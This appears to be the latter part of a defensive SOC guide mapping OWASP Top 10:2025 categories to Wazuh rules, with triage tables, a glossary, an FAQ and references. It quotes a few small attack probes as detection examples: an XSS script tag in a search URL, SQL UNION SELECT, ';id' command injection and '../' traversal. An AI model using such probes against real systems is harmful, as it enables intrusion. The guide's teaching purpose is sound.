EvidenceAlert 31106 JSON, access log lines, app log file_download events, DB authentication log, firewall rule export
Root causeMissing path restriction in download feature (A01, CWE-22); database exposed to external range (A02)
ImpactCredentials exposed and used; client data exposure under assessment
ActionsIP blocked, account disabled, secrets rotated, firewall fixed, code fixed
VerificationRetest of traversal returns 400; new custom rule alerts on ../ in file parameter; no further DB logins from external IPs
LessonsAdd app log rule for resolved_path outside allowed folder; review all download features; enable database audit logging on client tables
ClosureClosed after verification and incident lead approval; follow up actions tracked

How the analyst moved from alert to a defensible conclusion: The alert only said “an attack pattern returned 200”. Each conclusion was backed by a separate piece of evidence: the attempt by the 404 sequence, the success by response size and the application log, the impact by the database login. Each “not observed” claim (no code execution) was based on specific checks, not on assumptions.

Triage Guide for Common Web Security Alerts

The table below summarizes how a SOC analyst can approach alerts and reports that come up often in web application monitoring. Each row lists what the signal may mean and what to check before escalating.

SituationWhat it may indicateWhat the analyst checks first
Rule 31106 for GET /search?q=<script>alert(1)</script> with status 200Reflected XSS attempt; a 200 on a search page is normal even when input is safely encodedWhether the page reflects input without encoding, repeated payloads from the same IP (rule 31154), and whether any payload was stored and viewed by other users
Rule 31151: many 4xx errors from one IPScanning or reconnaissancePaths requested, user agent, and any 200 on sensitive paths or attack patterns
A customer reports an email change they did not makeAccount takeover (A07)Recent logins, IPs and devices for the account, failures before success, other accounts targeted by the same IP, session reuse
The database team sees a full table read by the web application account at nightSQL injection (A05), stolen database credentials, or a legitimate batch jobWeb requests at the same time, scheduled jobs, and logins by the same database account from unexpected hosts
FIM reports a new .php file in an uploads folderWeb shell upload (A06 design flaw, A08 integrity)The upload request, any requests to the new file, processes spawned by the web server user, and the file hash
Vulnerability Detection reports a critical CVE on many serversExposure to a known vulnerability (A03), not yet an attackInternet exposure, known exploitation in the wild, exploit attempts in logs, and patch priority
Logs from a web server stop for two hours, then resumeMaintenance, a misconfiguration, or an attacker stopping the agent (A09)Agent status events (504, 506), change records, and WAF or firewall traffic during the gap
200 different users log in successfully from one IPA corporate gateway or proxy, or a successful credential stuffing waveWho owns the IP, the real client IPs behind it, post login actions, and confirmation from a sample of users
The WAF blocked thousands of requests, but Wazuh shows nothingBlocked requests never reached the web server, and WAF logs are not collectedWAF logs for payload types and any allowed requests, then add WAF log collection to Wazuh
An authorization error is logged with an allow decision during an outageFail open behavior (A10)Which users accessed which resources during the window; the flaw is reported even without malicious activity
Card numbers appear in an application debug logSensitive data in logs (A09, CWE-532)Where the logs are stored, who can read them, and whether they were copied elsewhere, including the SIEM
The IIS worker process w3wp.exe starts PowerShell with an encoded commandCommand injection, a web shell or deserialization exploitationThe decoded command, the IIS request at the same second, new web root files, outbound connections; escalate as Critical

OWASP Top 10:2025 Quick Reference Table

This table summarizes every category with its main weakness, a typical attack, the strongest indicators, and the Wazuh detection approach.

CategoryMain weaknessExample attackKey detection indicatorsPrimary log sourceWazuh detection approachMain business impact
A01 Broken Access ControlServer does not enforce permissionsIDOR: change invoice ID; forced browsing; SSRFSequential IDs, 200 on admin paths, cross tenant readsAccess logs plus app logs with ownerCustom frequency and URL rules; 31151 for probingData exposure, unauthorized actions
A02 Security MisconfigurationInsecure settingsExposed .env, default admin password200 on sensitive files, SCA failures, config changesAccess logs, SCA, FIMSCA (19007, 19011), FIM (550), 31516, custom path rulesSecret leaks, server takeover
A03 Software Supply Chain FailuresVulnerable or compromised components and pipelinesLog4Shell; malicious npm packageCVE in inventory, exploit strings, build agent spawning shellsVulnerability Detection, Sysmon or auditd, CI logsRules 23503 to 23506, custom process and CI rulesCode execution, poisoned releases
A04 Cryptographic FailuresWeak or missing cryptographyPredictable reset tokens; MD5 hashes; HTTP loginSensitive data in URLs, weak TLS, key file readsAccess logs, SCA, auditdSCA TLS checks, custom URL, TLS and key access rulesData and credential exposure
A05 InjectionInput executed by an interpreterSQL UNION SELECT; ;id command injection; XSSSQL keywords, 500 bursts, DB errors, large 200s, web server shellsAccess logs, app errors, DB auditBuilt in 31103, 31104, 31105, 31106, 31152; custom process rulesDatabase theft, server compromise
A06 Insecure DesignMissing control at design stage600 seat booking; security question recoveryAbnormal quantities, shared coupons, recovery spraysApp business logsCustom JSON rules with same_field and different_fieldFinancial loss, fraud, takeover
A07 Authentication FailuresWeak login, session or recoveryCredential stuffing; password sprayingFailures across many accounts, success after failuresApp auth logs, Windows 4624/4625, Linux auth60122, 60204, 5763, 40112; custom spray rulesAccount takeover
A08 Software or Data Integrity FailuresTrusting code or data without verificationSkimming script added to checkout.js; insecure deserializationNew or changed web files, unsigned deploys, rO0AB markersFIM, deployment logsFIM 550, 553, 554; custom web root and deploy rulesCard theft, code execution
A09 Security Logging and Alerting FailuresEvents not logged, protected or alertedLogs truncated; failed logins never loggedLog size reduced, event log cleared, silent sourcesWazuh internal events, Windows logs, auditd592, 60117, 593, 504, 506, 60112; source monitoringUndetected breaches, no evidence
A10 Mishandling of Exceptional ConditionsUnsafe error handlingFail open on timeout; transfer without rollback500 and 503 bursts, stack traces, allow with errorAccess and error logs, app logs31122, 31162, 31163, 30104; custom fail open rulesBypass, fraud, outage

Glossary of Key Terms

TermSimple definition
AuthenticationProving who you are, for example with a password and MFA
AuthorizationDeciding what an authenticated user may do
IDORAccessing an object by its ID without an ownership check
InjectionUser input executed as part of a command or query
Parameterized queryA query where data is sent separately from the SQL structure
XSSScript injected into a page and run in another user’s browser
SSRFTricking a server into making requests to places the attacker cannot reach
Credential stuffingUsing leaked username and password pairs on another site
Session tokenA value that keeps a user logged in after authentication
CVEPublic identifier for a known vulnerability
CWECategory identifier for a type of software weakness
SBOMList of all software components and versions in an application
WAFWeb Application Firewall that inspects and filters HTTP traffic
Decoder (Wazuh)Component that extracts fields from raw logs
Rule (Wazuh)Logic that matches decoded events and creates alerts with a level
FIMFile Integrity Monitoring, detecting added, changed or deleted files
SCA (Wazuh)Security Configuration Assessment, checking settings against policies
False positiveAn alert that looks malicious but is legitimate activity
Fail closedDenying access when a security check cannot complete
Indicator of compromise (IOC)Evidence such as an IP, hash or domain linked to malicious activity

Frequently Asked Questions

What is the OWASP Top 10 2025?

It is the 2025 edition of OWASP’s awareness list of the ten most critical web application security risk categories. It was the eighth edition of the list. Each category groups many related CWE weaknesses. The categories are Broken Access Control, Security Misconfiguration, Software Supply Chain Failures, Cryptographic Failures, Injection, Insecure Design, Authentication Failures, Software or Data Integrity Failures, Security Logging and Alerting Failures, and Mishandling of Exceptional Conditions.

What changed in the OWASP Top 10 2025 compared with 2021?

Two categories are new: A03 Software Supply Chain Failures, which expands the old “Vulnerable and Outdated Components” category, and A10 Mishandling of Exceptional Conditions. Server Side Request Forgery was merged into A01 Broken Access Control. Security Misconfiguration moved up from fifth to second. Two categories were renamed: Authentication Failures, and Security Logging and Alerting Failures.

Can Wazuh detect all OWASP Top 10 attacks automatically?

No. Built in Wazuh rules detect common patterns in web access logs, such as SQL injection (31103), XSS (31105), path traversal and command patterns (31104), and repeated errors from one IP. Wazuh also provides FIM, SCA and Vulnerability Detection. Categories such as Broken Access Control, Insecure Design and most Authentication Failures in custom applications need application logs and custom rules. Some attacks, such as offline password cracking, leave no logs that Wazuh can see.

What does Wazuh rule 31106 mean?

Rule 31106, “A web attack returned code 200 (success).”, fires when one of the web attack rules 31103, 31104 or 31105 matches and the HTTP status code is 200. It does not prove the attack succeeded, because many applications return 200 for error pages or empty results. Analysts confirm success with response sizes, application logs, database audit logs or process telemetry.

Which logs are needed to detect web application attacks?

At minimum, web server access logs. For reliable detection and investigation, organizations also need application logs in JSON (with user, object, action and result), web server error logs, WAF logs that capture request bodies, authentication logs, database audit logs for sensitive tables, and process telemetry (Sysmon or auditd) on web servers.

How do you confirm that a web attack was successful?

Confirmation needs evidence beyond the alert. Useful evidence includes response sizes that match real data instead of error pages, application logs showing the action completed, database audit records of unusual queries, new processes started by the web server user, outbound connections, and later use of stolen data or credentials. Without such evidence, the event remains an attempt or suspicious activity.

What is the difference between Broken Access Control and Authentication Failures?

Authentication Failures (A07) concern who the user is: the attacker is accepted as someone else, for example through credential stuffing. Broken Access Control (A01) concerns what the user may do: a correctly authenticated user reaches data or functions that are not theirs, for example by changing an object ID.

Where are custom Wazuh rules stored and how are they tested?

Custom rules go in /var/ossec/etc/rules/local_rules.xml or in a new file in /var/ossec/etc/rules/ on the Wazuh manager, using IDs between 100000 and 120000. Test them with /var/ossec/bin/wazuh-logtest, which reads saved rules without a restart. Restart the Wazuh manager to apply them to live alerts.

Is a vulnerability scanner finding the same as a security incident?

No. A finding shows that a vulnerability exists. An attack attempt shows that someone tried to use it. Exploitation means the attempt worked. An incident is an event with real or threatened harm that requires a formal response. A Wazuh vulnerability alert is evidence of exposure, not of compromise.

Conclusion

The OWASP Top 10 2025 gives SOC teams a practical map of how web applications fail. Some categories, such as Injection, leave clear signatures in web access logs, and built in Wazuh rules detect them well. Others, such as Broken Access Control, Insecure Design and Mishandling of Exceptional Conditions, look like normal traffic. Detecting them depends on application logs with business context and on custom Wazuh rules.

Three habits make web attack investigations defensible. First, treat an alert as evidence that a log matched a pattern, not as proof of compromise. Second, classify each incident by root cause and name related categories where they apply. Third, separate responsibilities: the SOC detects, investigates and recommends containment; developers and administrators fix code and configuration; and the SOC verifies the fix before closing the incident.

Organizations that improve their logging, test their detections regularly and keep their Wazuh rules aligned with their applications will see most OWASP Top 10 attacks earlier and investigate them with confidence.

References and Further Reading

OWASP Top 10:2025 (official)

  1. OWASP Top 10:2025 home
  2. Introduction and changes in 2025
  3. A01:2025 Broken Access Control
  4. A02:2025 Security Misconfiguration
  5. A03:2025 Software Supply Chain Failures
  6. A04:2025 Cryptographic Failures
  7. A05:2025 Injection
  8. A06:2025 Insecure Design
  9. A07:2025 Authentication Failures
  10. A08:2025 Software or Data Integrity Failures
  11. A09:2025 Security Logging and Alerting Failures
  12. A10:2025 Mishandling of Exceptional Conditions
  13. OWASP Top 10 source repository (GitHub)
  14. OWASP Cheat Sheet Series

Wazuh (official documentation and ruleset, version 4.14)

  1. Rules syntax
  2. Custom rules
  3. Rules classification (levels)
  4. Testing decoders and rules (wazuh-logtest)
  5. Localfile configuration reference
  6. File integrity monitoring: basic settings
  7. File integrity monitoring: creating custom FIM rules
  8. Security Configuration Assessment: available policies
  9. Vulnerability detection: how it works
  10. Active response: how to configure
  11. Proof of concept: detecting an SQL injection attack
  12. Wazuh ruleset source, tag v4.14.10 (rules and decoders)
  13. Built in web rules: 0245-web_rules.xml
  14. Built in web application rules: 0270-web_appsec_rules.xml
  15. Web access log decoders: 0375-web-accesslog_decoders.xml
  16. OpenSearch Dashboards Query Language (DQL)

MITRE CWE and ATT&CK

  1. CWE-22 Path Traversal
  2. CWE-79 Cross Site Scripting
  3. CWE-89 SQL Injection
  4. CWE-287 Improper Authentication
  5. CWE-338 Cryptographically Weak PRNG
  6. CWE-502 Deserialization of Untrusted Data
  7. CWE-636 Not Failing Securely
  8. CWE-639 Authorization Bypass Through User Controlled Key
  9. CWE-778 Insufficient Logging
  10. CWE-918 Server Side Request Forgery
  11. MITRE ATT&CK T1190 Exploit Public Facing Application
  12. MITRE ATT&CK T1110 Brute Force
  13. MITRE ATT&CK T1078 Valid Accounts
  14. MITRE ATT&CK T1195 Supply Chain Compromise
  15. MITRE ATT&CK T1505.003 Web Shell
  16. MITRE ATT&CK T1070 Indicator Removal
  17. MITRE ATT&CK T1562 Impair Defenses

Other cited sources

  1. CISA alert: Widespread supply chain compromise impacting npm ecosystem (September 2025)
  2. NIST SP 800-63B Digital Identity Guidelines